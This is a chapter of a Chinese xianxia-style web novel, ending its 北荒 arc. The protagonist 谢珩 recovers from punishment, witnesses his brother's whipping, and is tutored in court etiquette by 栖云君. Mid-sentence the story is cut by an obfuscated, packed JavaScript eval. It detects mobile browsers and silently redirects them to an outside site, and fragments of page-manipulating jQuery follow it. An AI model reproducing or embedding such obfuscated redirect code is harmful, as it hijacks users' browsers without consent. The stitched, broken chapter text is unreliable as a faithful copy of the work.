5. 第五章 北荒尾声

作品:《任是无情也动人

    因这顿打是专门打给栖云君看的,谢珩这二十下巴掌可谓挨实了,屁股上一片火辣辣得疼,大概还肿起来了。


    不过药是好药,涂了上去,就觉得那里凉凉的,只要趴着不动,也不是那么疼了。


    少烜伺候他用了早膳,又问他要不要小解。


    谢珩不想动,摇了摇头。


    “那你歇着吧,我去处理事情,帐外有伺候的人,想要什么你自己吩咐。”少烜交代了几句,就离开了寝殿。


    谢珩迷迷糊糊了一阵,醒了过来,就想小解了。


    榻边的帐子低垂着,不过殿中不但有人,大概还不止一个。


    谢珩想到一动就会疼,又懒得唤人,光脑袋在那里挪来挪去。


    帐外的人大概知道他醒了,低声问他:“华垣君,是渴了,饿了,还是想小解?”


    “没事。”谢珩回道。


    帐外的人没了声响,不过没过多久,有人进了殿。


    来人直接走到榻边,拉开帐子。


    “华垣君……”


    他话还没说完,谢珩发现进来的人是栖云君,不想被他训斥,马上说道:“我想小解。”


    栖云君闻言,顿了一下,让人伺候他小解,不再多说什么。


    折腾完了这事,栖云君又让人服侍他吃东西。


    谢珩早在先前少烜和栖云君交锋时,就意识到,这位栖云君,大概是帝君派来服侍少烜的,不但负责照顾好他的生活起居,还负有一定的监督教导上报之责。


    虽然他应该不会事事上报,但是有些事,他实在看不过眼,又规劝不了少烜,最后恐怕就会有帝君来管了。


    少烜都不敢硬抗的人,他哪有胆子不听话,自然,栖云君说什么就是什么。


    “华垣君,既然醒了,就不要多睡了,免得到了晚间睡不着。”栖云君道,“要不,听个小曲,或者让人给你念话本子?”


    “念话本子吧。”


    “好。”栖云君又道,“华垣君,殿中有些东西需要更换,大概有点动静,还请你见谅。”


    “没事,栖云君请便。”殿中为啥变成这副模样,谢珩一清二楚,哪敢有意见。


    很快,就有小侍从拿着几本时新话本子进来。


    谢珩挑了一本,让小侍从坐在脚踏上,念给他听。


    帐外有点动静,不过动静不大,谢珩听着话本子,脑中却想着别的事。


    铺子该怎么处理,福宝该怎么安置,真要去太微宫,还有一堆事要去做。


    午膳是栖云君看着他用的。


    “少君正在设宴款待客人。”他还向谢珩解释了一句。


    这日,到了下午,谢珩被少烜抱着,去观刑,就是去看谢瑾代领那三百下震魂鞭。


    因为他的伤口,侍从们准备的座椅是长榻,让他可以很方便地趴在少烜怀里,而不会碰到伤口。


    不过他虽然在行刑现场,但是从开始到结束,脑袋一直被少烜按在怀里,双耳被施了法术,所以他既没看到,也没听到行刑过程。


    一直等到行刑完毕,谢瑾被人拖过来谢恩时,少烜才松开了按住他脑袋的手,解除了封住他双耳的法术。


    他听到谢瑾虚弱的说话声,侧了一下脑袋,想看看他怎么样了。


    兄弟二人,此时,一人趴在少君怀里,衣衫虽然整齐,但是这姿态,绝对算不上好看,一看就是娈宠佞幸之流,一人趴在地上,衣衫破烂浑身血迹,形容更是狼狈。


    四目相对之下,谢瑾大概认出了他,眼中慢慢溢出了厌恶之色。


    厌恶?


    谢珩顿时觉得有些无语。


    若不是谢瑾,他还守着他的铺子,虽然生意不好,但饿不死,不至于沦落到现在这个地步。


    他不肯乖乖趴在少君怀里,任少君为所欲为,谢瑾你连谢恩的机会都不会有!


    正在这时候,他听到少烜开口说道:“再赏一百鞭!”


    说完,就抱起他,离开了行刑场。


    到了夜间,少烜又帮他上了次药,有一搭没一搭地和他说了几句话,就睡着了。


    谢珩白日里睡多了,到了夜间,果然如栖云君所言,睡不着了。


    黑暗中,他转头看着少烜这边,只能看到一个模糊的轮廓,什么都看不清。


    他知道他是天界少君,早就不是昔日的平民少年了,但是有时候,他不想分清。少烜其实也知道,他早就不是昔日的阿蛮了,但是有时候,少烜也不想分清吧。


    或许,去太微宫,也不错吧,他突然这么觉得。


    接下来几天,谢珩趴在榻上养伤,其他人忙忙碌碌。


    栖云君领了少君的命,负责教导华垣君的礼仪规矩,自不会轻忽此事。


    他准备好了上课的院子,又整了份方案,去向少君请示。


    “少君,这是我给华垣君准备的礼仪授学方案,不知少君觉得是否妥当?”栖云君将方案呈到了少君案头。


    少烜翻了一下,对他说道:“我仔细看下,看完了再让人给你送过去吧。”


    “是。”栖云君告退。


    少烜翻着栖云君的方案,拿起笔,增补了不少东西,最后又写了张敕令,盖了印,才让侍从把方案和敕令一起送到栖云君那边去。


    栖云君看着改过的方案,又看着那张着诸司各部通力配合的敕令,若有所思起来。


    不过,他没有多说什么。


    有些事,于旁人,或许了不得,但是于少君,不过是小事。


    少君是帝君的爱子,并不是虚名。少君更年少一些时,帝君还颇有严父模样,一旦他犯了错,必会板着脸训他,命他面壁思过,后来少君被心魔困扰,越来越严重,近年来实力没有丝毫寸进,还隐隐有倒退之虞,帝君对他,就多是慈父心肠了。


    栖云君按照少君修改的方案,重新布置了授学内容,召集了各个课程的老师,还准备好了各种授学用具,就等谢珩养好伤,来上课。


    谢珩在榻上趴了三天,才算养好了伤。


    他又求得少烜的恩准,花了几天时间,处理了铺子里的事。


    到了第七天,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878733|191946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才去上课。


    这日,侍从把他领到了上课的地方,就见栖云君在院门外等他。


    见到了栖云君,谢珩抢先行礼:


    “栖云君!”


    “华垣君,其实,你不必向我行礼,而是我该向你行礼。”结果,他又被栖云君训了,栖云君向他行了一礼,才说道,“虽然不知道少君打算给你什么封号,但是哪怕是最低等的侍君,于侍从们来说,也是半君。”


    “我明白了。”谢珩乖乖受教。


    “华垣君,这边请。”栖云君在前引路,进了上课的屋子,栖云君抬手示意,“华垣君请上坐。”


    谢珩刚想开口推让,突然想到栖云君的身份论,又乖乖闭上了嘴,上前入座了。


    坐好了,他才说道:“栖云君请坐。”


    栖云君见他明白过来了,满意地点了点头:“多谢华垣君。”


    他在侧席入座,开始上课。


    课程众多,繁琐复杂,礼仪仪态举止品味谱牒珍物游玩等等都有涉及,除了讲解还有种种实战练习。有些课栖云君亲自上,有些课其他老师负责。


    栖云君对练习物品的要求很高,就算以北荒总督府的财力物力,诸司各部通力配合,准备好的各种物品,也常常被他挑剔东西不对,没法学明白,精髓。


    “这节课先凑合着上一下,等回了太微宫,还得补。”这是他常挂在嘴边的话。


    谢珩幼时,母亲还在,他也受过诸多庭训,后来母亲去世,他被父亲接回了谢氏,反倒慢慢荒废了学业和教养。如今有人倾心相授,又愿用这世间种种顶好之物,熏陶他的品味和见识,他并非不知好歹之人,自然认真学习。


    栖云君为人虽然严厉,但有问必答,还举一反三,就算他哪里做错了,也不会责打他,只是让他一遍遍练习,一直练到改正错误,所以虽然要学的东西很多,谢珩始终没有一句怨言,一丝不苟地努力完成栖云君的要求。


    栖云君本来觉得,华垣君被少君宠得有些娇蛮了,上了几天课,他就发现,华垣君在其他人面前,是个性格温和做事认真的青年,他就在少君面前,会有种种娇蛮表现。


    而且,他认真观察了一下,发现问题可能出在少君身上时,栖云君不想多管了,前几日,他把少君选择了再续前缘的事上报给帝君,帝君的回复就是,少君高兴就好,不要干涉他的任何选择。


    毕竟,心魔是内心深处渴望的具现,无法战胜的话,满足也是一种解决方式。


    谢珩认真好学,栖云君倾心相授,谢珩进步飞快,栖云君对他的态度也改观了不少,日子就在一教一学中飞快过去。


    后来,谢珩回想,在北荒总督府的这段日子,大概算是他生命中难得平和的一段日子,虽然比不上红叶原的少年时代,实际上也很温馨了。


    毕竟,在北荒总督府,虽然所有的侍从都称呼少烜为“少君”,但是他大部分时间还是他的少烜,而不是天宫之中那个,哪怕诸界神君见了,全部都得行礼如仪,尊称他——太微圣君。


    (北荒篇完)